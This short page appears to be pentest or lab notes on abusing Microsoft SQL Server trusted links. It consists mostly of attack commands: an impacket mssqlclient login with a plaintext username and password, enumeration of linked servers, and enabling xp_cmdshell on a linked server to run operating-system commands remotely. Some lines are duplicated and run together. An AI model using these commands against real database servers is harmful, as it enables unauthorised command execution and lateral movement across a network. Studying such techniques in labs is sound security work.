MSSQL trusted links
mssqlclient.py -windows-auth north.newyork.local/elena.lopez:princesa1@yonkers.north.newyork.local -showenum_linksEXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin

Last updated
mssqlclient.py -windows-auth north.newyork.local/elena.lopez:princesa1@yonkers.north.newyork.local -showenum_linksEXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin

Last updated
use_link Salisbury
enable_xp_cmdshell
xp_cmdshell whoamiEXEC ('select system_user as "username"') AT Salisbury
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT Salisbury
EXEC ('exec master..xp_cmdshell ''whoami''') AT Salisbury